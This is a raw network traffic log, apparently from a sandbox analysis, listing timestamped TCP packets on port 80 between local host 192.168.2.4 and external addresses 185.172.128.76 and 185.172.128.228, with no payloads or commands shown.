Apr 23, 2024 09:38:11.432446003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432462931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432478905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432493925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432511091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432526112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432542086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432558060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432574034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432589054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432605028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432620049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432617903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432641983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432645082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432645082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432645082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432645082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432645082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432658911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432662010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432676077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432686090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432693005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432694912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432710886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432717085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432727098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432729006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432746887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432760000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432760954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432771921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432781935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432801008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432876110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432895899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:11.432915926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.432929039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:11.471923113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.471941948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.471956968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.471972942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.471987963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472003937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472018957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472034931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472050905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472065926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472083092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472107887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472124100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472134113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472141027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472150087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472158909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472158909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472165108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472173929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472182035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472189903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472198963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472207069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472210884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472223043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472233057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472240925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472255945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472261906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472271919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472284079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472286940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472301006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472302914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472317934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472335100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472336054 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472349882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472361088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472364902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472379923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472388983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472394943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472410917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472412109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472426891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472430944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472443104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472454071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472457886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472470999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472474098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472487926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472489119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472502947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472503901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472521067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472531080 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472543955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472544909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472560883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472575903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472580910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472594023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472601891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472615004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472616911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472635984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472636938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472651958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472659111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472667933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472668886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472683907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472688913 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472698927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472704887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472713947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472722054 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472729921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472737074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472745895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472760916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472765923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472776890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472784996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472791910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472807884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472810030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472822905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472824097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472840071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472848892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472855091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472870111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472872972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472884893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472898006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472899914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472915888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472922087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472930908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472946882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472951889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472961903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472976923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472979069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.472994089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.472995043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473010063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473018885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473025084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473033905 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473040104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473051071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473056078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473067045 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473072052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473082066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473087072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473098993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473103046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473118067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473123074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473134041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473149061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473149061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473166943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473171949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473182917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473197937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473198891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473212957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473221064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473228931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473244905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473247051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473261118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473272085 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473277092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473293066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473293066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473309040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473316908 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473324060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473330975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473340034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473346949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473355055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473362923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473371029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473386049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473400116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473400116 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473401070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473409891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473417044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473424911 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473433018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473443031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473453999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473457098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473469019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473474026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473484993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473489046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473500013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473515034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473517895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473531008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473536015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473546028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473562002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473562002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473577976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473578930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473593950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473606110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473618984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473634958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473634958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473650932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473658085 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473666906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473673105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473683119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473689079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473700047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473705053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473715067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473720074 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473731041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473736048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473746061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473751068 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473762035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473767042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473778009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473783016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473793983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473798037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473810911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473814964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473825932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473830938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473841906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473846912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473858118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473862886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473876953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473893881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473911047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473912954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473927021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473926067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473941088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473942995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473958015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473958969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473973036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.473974943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473990917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.473990917 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474006891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474006891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474021912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474021912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474040031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474055052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474059105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474070072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474076033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474086046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474102020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474102974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474118948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474121094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474136114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474144936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474153042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474160910 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474170923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474175930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474186897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474194050 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474203110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474210024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474220037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474222898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474236012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474240065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474252939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474256992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474268913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474272966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474284887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474287987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474301100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474304914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474315882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474320889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474332094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474337101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474347115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474353075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474363089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474369049 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474378109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474384069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474395037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474400043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474411964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474416018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474428892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474431992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474445105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474450111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474462032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.474464893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.474477053 CEST	80	49735	185.172.128.228	192.168.2.4
